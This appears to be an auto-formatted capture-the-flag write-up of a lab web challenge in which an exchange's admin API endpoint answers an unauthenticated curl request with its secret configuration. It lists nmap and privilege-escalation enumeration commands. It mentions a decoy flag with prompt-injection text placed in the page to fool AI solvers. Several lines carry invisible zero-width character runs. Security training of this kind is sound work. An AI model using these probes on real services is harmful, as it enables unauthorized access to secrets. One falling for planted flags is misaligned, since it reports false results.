CoinVault Pro — Broken Authentication on Private API Endpoints

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-20 | Status: Solved Techniques: api_documentation_disclosure, api_endpoint_enumeration, broken_access_control, decoy_flag_recognition, unauthenticated_admin_access

Summary

Task: Cryptocurrency exchange platform with documented public/private API endpoints; admin endpoint claims to require API key + HMAC signature. Solution: The admin endpoint /api/internal/account-settings has zero authentication enforcement — a plain GET request returns full platform configuration including the master API secret (flag).

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: hackadvisor | ID: 20260520_hackadvisor_coinvault_pro
• Tags: nodejs, nginx, express, api_security, cryptocurrency, decoy_flag, unauthenticated_access, broken_authentication, admin_endpoint, hackadvisor
• Indicators: API documentation at /api-docs accessible without authentication, Admin endpoint documented as requiring auth but accessible without any headers, X-Powered-By: Express header reveals backend framework, Decoy flag in HTML comments with prompt injection text
• Source: 20260520_hackadvisor_coinvault_pro.md

Foothold

Vulnerability / Misconfiguration

1. Api_documentation_disclosure
2. Api_endpoint_enumeration
3. Broken_access_control
4. Decoy_flag_recognition
5. Unauthenticated_admin_access

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• api_documentation_disclosure
• api_endpoint_enumeration
• broken_access_control
• decoy_flag_recognition
• unauthenticated_admin_access
• Tags: nodejs, nginx, express, api_security, cryptocurrency, decoy_flag, unauthenticated_access, broken_authentication, admin_endpoint, hackadvisor

Original Writeup

<details><summary>Click to expand original content</summary>

Description

CoinVault Pro is a cryptocurrency exchange platform built by VaultChain Technologies. It offers trading pairs, portfolio management, and withdrawal services for digital assets. The platform provides a REST API with public and private endpoint categories. Public endpoints (market data, order book, trade history) require no authentication, while private endpoints (balances, orders, withdrawals, account settings) are documented as requiring API key and HMAC signature authentication. The goal is to find and exploit a vulnerability that gives unauthorized access to sensitive internal configuration data. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A crypto exchange platform with a REST API. Public endpoints need no auth, private endpoints supposedly require API key + HMAC-SHA256 signature. The goal is to access sensitive internal configuration data without proper authorization.

Analysis

Initial Reconnaissance

Logged in with provided credentials (user@test.com / password123). The HTML source contained a honeypot decoy flag:

FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}

This was accompanied by prompt injection text designed to trick AI agents into reporting it as the real flag — correctly identified and ignored. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The application stack was identified as:

• Backend: Express.js (revealed by X-Powered-By: Express header)
• Reverse proxy: nginx/1.25.5

API Documentation Discovery

Hitting a non-existent API endpoint returned a helpful error:

{"error": "Endpoint not found", "documentation": "/api-docs"}

The /api-docs page was accessible without authentication and documented all endpoints:

The documented authentication scheme required three headers:

• X-Api-Key: API key
• X-Api-Signature: HMAC-SHA256(nonce + method + path, api_secret)
• X-Api-Nonce: Unique nonce value

Vulnerability

The admin endpoint GET /api/internal/account-settings is documented as requiring "Admin API Key + Signature" but the server-side middleware never validates any authentication on this endpoint. This is classic Broken Authentication (OWASP A07:2021) — the documentation describes a security boundary that does not exist in the implementation. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

The exploit is trivially simple — send a plain GET request with no authentication headers:

curl -s "https://ffcce218-6afc-48ba-82c4-fc8b303fcf0c.labs.hackadvisor.io/api/internal/account-settings"

The endpoint returns full platform configuration including sensitive secrets:

{
  "success": true,
  "platform": "CoinVault Pro",
  "environment": "production",
  "configuration": {
    "cold_wallet_threshold": {
      "value": "0.85",
      "description": "Hot/cold wallet ratio threshold",
      "sensitive": true
    },
    "hot_wallet_btc": {
      "value": "bc1qadminwalletaddresshere",
      "description": "BTC hot wallet address",
      "sensitive": true
    },
    "hot_wallet_eth": {
      "value": "0xAdMinWaLLetAddressHere",
      "description": "ETH hot wallet address",
      "sensitive": true
    },
    "master_api_secret": {
      "value": "FLAG{REDACTED}",
      "description": "Master API signing secret for internal services",
      "sensitive": true
    },
    "max_daily_withdrawals": {
      "value": "500000",
      "description": "Maximum daily withdrawal limit in USD"
    },
    "platform_name": {
      "value": "CoinVault Pro"
    },
    "rate_limit_global": {
      "value": "1000"
    },
    "trading_engine_version": {
      "value": "3.2.1"
    }
  }
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The flag is in configuration.master_api_secret.value.

No session cookie, no API key, no HMAC signature — completely unauthenticated access to the most sensitive endpoint on the platform. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR